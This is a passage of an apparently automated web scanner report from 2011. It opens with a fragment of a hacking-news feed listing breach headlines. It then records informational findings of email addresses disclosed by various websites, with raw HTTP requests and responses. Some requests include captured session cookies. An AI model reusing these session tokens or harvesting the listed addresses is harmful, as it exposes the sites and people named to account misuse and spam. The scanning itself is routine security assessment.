:"http://thehackernews.com/2011/05/sqli-vulnerability-in-united-nations-un.html","title":"SQLi vulnerability in United Nation's (UN) Website !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-1Ct5HfhkDgU/TeOfLUwS1II/AAAAAAAACFo/4RylIFfgCDM/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
news.com/2011/05/gma-7-television-networks-website.html","title":"GMA-7 television networks website, twitter \u0026 Facebook hacked by D4RKB1T"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-TlhvnaxWcWw/TeOWwxIEQuI/AAAAAAAACFc/Tb1xyXqFD34/s72-c/GMA+7-News-website-Hacked.JPG","height":"72"
...[SNIP]...
l":"alternate","type":"text/html","href":"http://thehackernews.com/2011/05/sonu-nigams-email-hacked.html","title":"Sonu Nigam's email hacked !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-__j8RWUOfNA/TeOWwX-qmRI/AAAAAAAACFY/n9q5yw9XkF8/s72-c/SonuNigamConcert090.jpg","height":"72","widt
...[SNIP]...
public-broadcasting-service-pbs-hacked.html","title":"Public Broadcasting Service (PBS) Hacked by Lulzsec, Users data \u0026 Database Leaked !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-HUvhqCUe8e0/TeMYkfy9r5I/AAAAAAAACFA/UVaBBb0xMAM/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
,"type":"text/html","href":"http://thehackernews.com/2011/05/valuenet-isp-hacked-by-sec-indi.html","title":"Value.net (ISP) hacked by Sec Indi"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-45TNt0lhxBY/TeMWnUStOBI/AAAAAAAACE8/SzEWpnU1FP0/s72-c/1.jpg","height":"72","width":"72"}},{"id":{"
...[SNIP]...
"href":"http://thehackernews.com/2011/05/4-indian-govt-websites-hacked-by-madni.html","title":"4 Indian Govt. Websites Hacked By MaDnI [ ZHC ]"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-002iy-d7o8s/TeMUXwTBfFI/AAAAAAAACEw/_aid6hf6rX0/s72-c/1.jpg","height":"72","width":"72"}},{"id":{"
...[SNIP]...
p://thehackernews.com/2011/05/freelancing-website-freelancingjobcom.html","title":"Freelancing Website freelancingjob.com hacked by lionaneesh"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-kPsp-JjB6PM/TeMTcI-5xWI/AAAAAAAACEs/UOfYIYTtbLk/s72-c/freelancingjob.PNG","height":"72","width":"7
...[SNIP]...
l","href":"http://thehackernews.com/2011/05/quickrecon-v031-latest-version-download.html","title":"QuickRecon v0.3.1 - Latest Version Download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-XTHt4J5k8Qw/TeIF4qmqE-I/AAAAAAAACEA/CyZ25fjtwx8/s72-c/2vdirls.jpg","height":"72","width":"72"}},{"
...[SNIP]...
pe":"text/html","href":"http://thehackernews.com/2011/05/pesca-075-local-stealer-download.html","title":"Pesca 0.75 Local Stealer - Download !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-4U9r7GYgNEg/TeH5mfbZk9I/AAAAAAAACD8/wTwmFqsiuxo/s72-c/screen.jpg","height":"72","width":"72"}},{"i
...[SNIP]...
/thehackernews.com/2011/05/supply-network-collaboration-of.html","title":"Supply Network Collaboration of Uniliver Hacked by CrosS | R00TW0RM"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://i51.tinypic.com/292oad4_th.png","height":"72","width":"72"}},{"id":{"$t":"tag:blogger.com,1999:blog-48028414786341472
...[SNIP]...
href":"http://thehackernews.com/2011/05/cyber-law-india-website-hacked-by-madni.html","title":"Cyber Law India Website Hacked By MaDnI [ ZHC ]"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-xkvBAtiWytY/TeH2aOTGNlI/AAAAAAAACD4/hedFBW-kKxI/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
011/05/dating-website-findfriendz-hacked-by.html","title":"Dating Website FindFriendz Hacked by lionaneesh, over 45,000 user data compromised."}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-NMZ6tUzauPc/TeHyUl-96rI/AAAAAAAACDw/OWhBRqT8p8Y/s72-c/ff2.jpg","height":"72","width":"72"}},{"id":
...[SNIP]...
":"http://thehackernews.com/2011/05/surveyspaysucom-survey-company.html","title":"Surveyspaysu.com ( Survey Company ) Emails/Passwords Exposed"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-updCXmxJVE4/TeHungjFAfI/AAAAAAAACDs/dKmjul_eXNA/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
"href":"http://thehackernews.com/2011/05/xss-vulnerability-on-real-player.html","title":"XSS Vulnerability on Real Player Website by THEc7cREW"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-x7k0-oNtqMw/TeHrJNEALsI/AAAAAAAACDo/x1Ew7iweZmM/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
e":"text/html","href":"http://thehackernews.com/2011/05/50-cpanels-hacked-by-ahmdosa-hacker.html","title":"50 Cpanels Hacked By Ahmdosa Hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}]},{"id":{"$t":"tag:blogger.com,1999:blog-4802841478634147276.post-3124183576936948477"},"published":{"$t":"2011-05-28T18:55:00.000-11:00"},"updated":{"$t":"2011-05-28T18:55:09.401-11:00"},"category
...[SNIP]...
"href":"http://thehackernews.com/2011/05/110-more-indian-websites-hacked-by-zhc.html","title":"110 more Indian Websites Hacked by ZHC XtReMiSt"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-TQElPUAS0gs/TeHfrL4qD0I/AAAAAAAACDk/OVvYwSsRUPU/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
1/05/14-year-old-hacker-hired-by-microsoft.html","title":"14 Year Old Hacker Hired by Microsoft after doing phishing via Call of Duty Server !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-eqaUx-xE10E/TfOPozjQ_sI/AAAAAAAACLI/AhUej_OVmSY/s72-c/microsoft-virus.jpg","height":"72","width":"
...[SNIP]...

19.24. http://w.sharethis.com/button/buttons.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://w.sharethis.com
Path:	/button/buttons.js

Issue detail

The following email address was disclosed in the response:

support@sharethis.com

Request

GET /button/buttons.js HTTP/1.1
Host: w.sharethis.com
Proxy-Connection: keep-alive
Referer: http://www.blackbaud.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __stid=CqCKBE5ezzUzVT7FCnHuAg==

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
Expires: Sat, 17 Sep 2011 14:56:16 GMT
Cache-Control: max-age=86400
Content-Length: 59847
Date: Fri, 16 Sep 2011 15:29:17 GMT
Connection: close
Vary: Accept-Encoding

var cookie=new function(){return{setCookie:function(d,f,h){if(h){var c=new Date();c.setTime(c.getTime()+(h*24*60*60*1000));var a="; expires="+c.toGMTString()}else{var a=""}var b=d+"="+escape(f)+a;var
...[SNIP]...
rn false}stLight.processSTQ();stLight.readyRun=true;if(stLight.publisher==null){if(typeof(window.console)!=="undefined"){try{console.debug("Please specify a ShareThis Publisher Key \nFor help, contact support@sharethis.com")}catch(a){}}}var b=stLight.getSource();stLight.log("pview",b,"");stWidget.options.sessionID=stLight.sessionID;stWidget.options.fpc=stLight.fpc;stLight.loadServicesLoggedIn(function(){stButtons.onRead
...[SNIP]...

19.25. http://wms.assoc-amazon.com/js/nifty.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://wms.assoc-amazon.com
Path:	/js/nifty.js

Issue detail

The following email address was disclosed in the response:

a.fulciniti@html.it

Request

GET /js/nifty.js HTTP/1.1
Host: wms.assoc-amazon.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:19:24 GMT
Server: Server
Last-Modified: Thu, 15 Sep 2011 07:02:03 GMT
ETag: "134cee-25d6-4acf5742e50c0"
Accept-Ranges: bytes
Content-Length: 9686
Cache-Control: max-age=2592000
Expires: Sat, 17 Sep 2011 16:19:24 GMT
Charset: UTF-8
Vary: User-Agent
Content-Type: application/x-javascript

/* Nifty Corners Cube - rounded corners with CSS and Javascript
Copyright 2006 Alessandro Fulciniti (a.fulciniti@html.it)

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the Licens
...[SNIP]...

19.26. http://www.altn.com/Training/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.altn.com
Path:	/Training/

Issue detail

The following email address was disclosed in the response:

training@altn.com

Request

GET /Training/ HTTP/1.1
Host: www.altn.com
Proxy-Connection: keep-alive
Referer: http://search.altn.com/search?proxystylesheet=default_frontend&output=xml_no_dtd&site=nonpartner_collection&client=default_frontend&q=xss
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=1shsajjk30ypkr45a4knjdj4; CMSPreferredCulture=en-us; csauth=dXNlcklkPXtGQjE2RkNCQi01QUNDLTRBQzgtOTM1NS1DMzc5Qzg0N0VGRER9OmNhdGFsb2dJZD17MTExMTExMTEtMTExMS0xMTExLTExMTEtMTExMTExMTExMTExfTplbWFpbD06YXV0aFR5cGU9MDp1c2VyVHlwZT0w; __utma=1.338578957.1316207681.1316207681.1316207681.1; __utmb=1.6.10.1316207681; __utmc=1; __utmz=1.1316207681.1.1.utmgclid=CNC9_rqUoqsCFeUZQgodLn8qig|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:14:10 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 16204

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/19
...[SNIP]...
<a href="mailto:training@altn.com?subject=Training%20Department%20Inquiry">
...[SNIP]...

19.27. http://www.apache.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.apache.org
Path:	/

Issue detail

The following email address was disclosed in the response:

M6VA@mail.gmail.com

Request

GET / HTTP/1.1
Host: www.apache.org
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server#pq=smtp+server&hl=en&sugexp=gsis%2Ci18n%3Dtrue&cp=2&gs_id=7&xhr=t&q=web+server&pf=p&sclient=psy-ab&source=hp&pbx=1&oq=we+server&aq=0c&aqi=g-c4&aql=&gs_sm=&gs_upl=&bav=on.2,or.r_gc.r_pw.&fp=b659e1e8b520709&biw=1147&bih=870
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:16:42 GMT
Server: Apache/2.3.15-dev (Unix) mod_ssl/2.3.15-dev OpenSSL/1.0.0c
Last-Modified: Fri, 16 Sep 2011 16:11:34 GMT
ETag: "2937f9-8876-4ad113f3f3980-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Fri, 16 Sep 2011 17:16:42 GMT
Content-Length: 34934
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<title>Welcome to The Apache Software Foundation!</title>

<meta http-equiv="Content-Type" content="te
...[SNIP]...
<a href="http://mail-archives.apache.org/mod_mbox/www-announce/201109.mbox/%3cCAL8PwkbdmFdwNChpKF+9XOLboKm_gryy8Fnps6ud6t=Mx=M6VA@mail.gmail.com%3e">
...[SNIP]...

19.28. http://www.blackbaud.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.blackbaud.com
Path:	/

Issue detail

The following email address was disclosed in the response:

solutions@blackbaud.com

Request

Response

19.29. http://www.bookkeepers.com.au/components/com_sobi2/includes/js/advajax.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bookkeepers.com.au
Path:	/components/com_sobi2/includes/js/advajax.js

Issue detail

The following email address was disclosed in the response:

anakin@php5.pl

Request

GET /components/com_sobi2/includes/js/advajax.js HTTP/1.1
Host: www.bookkeepers.com.au
Proxy-Connection: keep-alive
Referer: http://www.bookkeepers.com.au/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b2d2d47bd8dea2a0cbb873eb9e62c213=3inv4dc08bim6j7gcucie4vjm7

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:14:46 GMT
Server: Apache
Last-Modified: Mon, 12 Apr 2010 03:04:00 GMT
ETag: "39004cb-4412-484016586a800"
Accept-Ranges: bytes
Content-Length: 17426
Content-Type: application/javascript

/*
* AdvancedAJAX 2.0 RC1 (27.08.2006)
* (c) 2005-2006 ??ukasz Lach
* mail: anakin@php5.pl
* www: http://advajax.anakin.us/
* http://anakin.us/
* Licensed under Creative Commons GNU Lesser General Public License
* http://creativecommons.org/licenses/LGPL/2.1/
*/
function
...[SNIP]...

19.30. http://www.godaddy.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

Response

19.31. http://www.godaddy.com/domains/search.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/domains/search.aspx

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

Response

19.32. http://www.godaddy.com/gdshop/site_search.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/gdshop/site_search.asp

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com
support@godaddy.com

Request

Response

19.33. http://www.godaddy.com/offers/hot-deals2.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/hot-deals2.aspx

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

Response

19.34. http://www.godaddy.com/productadvisor/pastart.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/productadvisor/pastart.aspx

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

Response

19.35. http://www.google.com/search previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/search

Issue detail

The following email address was disclosed in the response:

test@fastdial.net

Request

Response

19.36. http://www.imailserver.com/support/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/support/

Issue detail

The following email addresses were disclosed in the response:

imail_forum@list.ipswitch.com
support@altaro.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:32:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.2
X-Pingback: http://www.imailserver.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 25352

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en
...[SNIP]...
<a href="mailto:support@altaro.com">support@altaro.com</a>
...[SNIP]...
<a href="http://www.mail-archive.com/imail_forum@list.ipswitch.com/" target="_blank">
...[SNIP]...

19.37. http://www.port25.com/corporate/corp_contact.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.port25.com
Path:	/corporate/corp_contact.html

Issue detail

The following email address was disclosed in the response:

info@port25.com

Request

GET /corporate/corp_contact.html HTTP/1.1
Host: www.port25.com
Proxy-Connection: keep-alive
Referer: http://www.port25.com/products/prod_evalthanks.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CR_1195_2=5EAD601775BCFD6E; CR_1195_3=3A753701A31A2BFD; __ar_v4=4LZ2WHLFKZGJBDJQYVBYXX%3A20110916%3A2%7CUSFQSVPCUNEC3MWWKVX6RH%3A20110916%3A2%7CNQ5TTRI2MVGQHFZLQL6SMW%3A20110916%3A2; __utma=1.5711670.1316204852.1316204852.1316204852.1; __utmb=1.7.10.1316204852; __utmc=1; __utmz=1.1316204852.1.1.utmgclid=CL3QyvqJoqsCFSOAgwodRgln2A|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:29:43 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Fri, 05 Aug 2011 20:54:11 GMT
ETag: "ca0386-4079-4a9c84ca0c2c0"
Accept-Ranges: bytes
Content-Length: 16505
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css" media="all">@import url(
...[SNIP]...
<input value="info@port25.com" type="hidden" name="SendToAddr">
...[SNIP]...

19.38. http://www.port25.com/products/prod_eval.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.port25.com
Path:	/products/prod_eval.html

Issue detail

The following email addresses were disclosed in the response:

eval@port25.com
info@port25.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:29:35 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Fri, 05 Aug 2011 20:54:51 GMT
ETag: "ca096a-3eb3-4a9c84f031cc0"
Accept-Ranges: bytes
Content-Length: 16051
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css" media="all">@import url(
...[SNIP]...
<a href="mailto:eval@port25.com">eval@port25.com</a>
...[SNIP]...
<input value="info@port25.com" type="hidden" name="SendToAddr">
...[SNIP]...

19.39. http://www.powermta.port25.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.40. http://www.powermta.port25.com/download-a-white-paper/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/download-a-white-paper/

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.41. http://www.powermta.port25.com/smtp-server-software-2/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/smtp-server-software-2/

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.42. http://www.powermta.port25.com/wp-content/themes/powermta1/images/about-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/about-logo.gif

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.43. http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/face-logo.gif

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.44. http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/headerimg.jpg

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.45. http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/in-logo.gif

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.46. http://www.powermta.port25.com/wp-content/themes/powermta1/images/phone-number.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/phone-number.gif

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.47. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-footer-logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-footer-logo.png

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.48. http://www.powermta.port25.com/wp-content/themes/powermta1/images/powerMTA-logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/powerMTA-logo.png

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.49. http://www.powermta.port25.com/wp-content/themes/powermta1/images/submit_btn.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/submit_btn.png

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.50. http://www.powermta.port25.com/wp-content/themes/powermta1/images/tag-line.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/tag-line.jpg

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.51. http://www.powermta.port25.com/wp-content/themes/powermta1/images/twit-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/images/twit-logo.gif

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.52. http://www.powermta.port25.com/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/coda-slider.1.1.1.pack.js

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.53. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-1.2.1.pack.js

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.54. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing-compatibility.1.2.pack.js

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.55. http://www.powermta.port25.com/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/js/jquery-easing.1.2.pack.js

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.56. http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/scripts/rsv.js

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.57. http://www.powermta.port25.com/wp-content/themes/powermta1/style.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/style.css

Issue detail

The following email addresses were disclosed in the response:

Eval@port25.com
Support@port25.com

Request

Response

19.58. http://www.smtp.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smtp.com
Path:	/

Issue detail

The following email address was disclosed in the response:

support@smtp.com

Request

Response

19.59. http://www.smtp.com/javascripts/jqModal.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smtp.com
Path:	/javascripts/jqModal.js

Issue detail

The following email address was disclosed in the response:

bhb@iceburg.net

Request

GET /javascripts/jqModal.js?1268498319 HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.smtp.com/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:27:03 GMT
Content-Type: application/javascript
Connection: keep-alive
Keep-Alive: timeout=60
